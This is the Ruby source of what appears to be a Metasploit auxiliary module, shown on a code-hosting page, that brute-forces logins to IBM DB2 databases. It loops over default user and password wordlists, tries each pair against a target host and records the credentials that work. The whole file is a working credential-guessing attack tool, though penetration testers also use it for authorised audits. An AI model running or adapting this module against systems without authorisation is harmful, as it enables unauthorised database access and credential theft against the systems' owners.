84 lines
2.6 KiB
Ruby
84 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::DB2
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include Msf::Auxiliary::AuthBrute
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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def initialize
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super(
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'Name' => 'DB2 Authentication Brute Force Utility',
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'Description' => %q{This module attempts to authenticate against a DB2
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instance using username and password combinations indicated by the
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USER_FILE, PASS_FILE, and USERPASS_FILE options.},
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'Author' => ['todb'],
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'References' =>
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[
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[ 'CVE', '1999-0502'] # Weak password
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],
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'License' => MSF_LICENSE
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)
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register_options(
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[
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OptPath.new('USERPASS_FILE', [ false, "File containing (space-seperated) users and passwords, one pair per line",
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File.join(Msf::Config.data_directory, "wordlists", "db2_default_userpass.txt") ]),
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OptPath.new('USER_FILE', [ false, "File containing users, one per line",
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File.join(Msf::Config.data_directory, "wordlists", "db2_default_user.txt") ]),
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OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
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File.join(Msf::Config.data_directory, "wordlists", "db2_default_pass.txt") ]),
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], self.class)
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end
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def run_host(ip)
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each_user_pass { |user, pass|
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do_login(user,pass,datastore['DATABASE'])
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}
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end
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def do_login(user=nil,pass=nil,db=nil)
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datastore['USERNAME'] = user
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datastore['PASSWORD'] = pass
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vprint_status("#{rhost}:#{rport} - DB2 - Trying username:'#{user}' with password:'#{pass}'")
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begin
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info = db2_check_login
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rescue ::Rex::ConnectionError
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vprint_error("#{rhost}:#{rport} : Unable to attempt authentication")
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return :abort
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rescue ::Rex::Proto::DRDA::RespError => e
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vprint_error("#{rhost}:#{rport} : Error in connecting to DB2 instance: #{e}")
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return :abort
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end
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disconnect
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if info[:db_login_success]
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print_good("#{rhost}:#{rport} - DB2 - successful login for '#{user}' : '#{pass}' against database '#{db}'")
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# Report credentials
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report_auth_info(
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:host => rhost,
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:port => rport,
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:sname => "db2",
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:user => "#{db}/#{user}",
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:pass => pass,
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:active => true
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)
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return :next_user
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else
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vprint_error("#{rhost}:#{rport} - DB2 - failed login for '#{user}' : '#{pass}' against database '#{db}'")
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return :fail
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end
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end
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end
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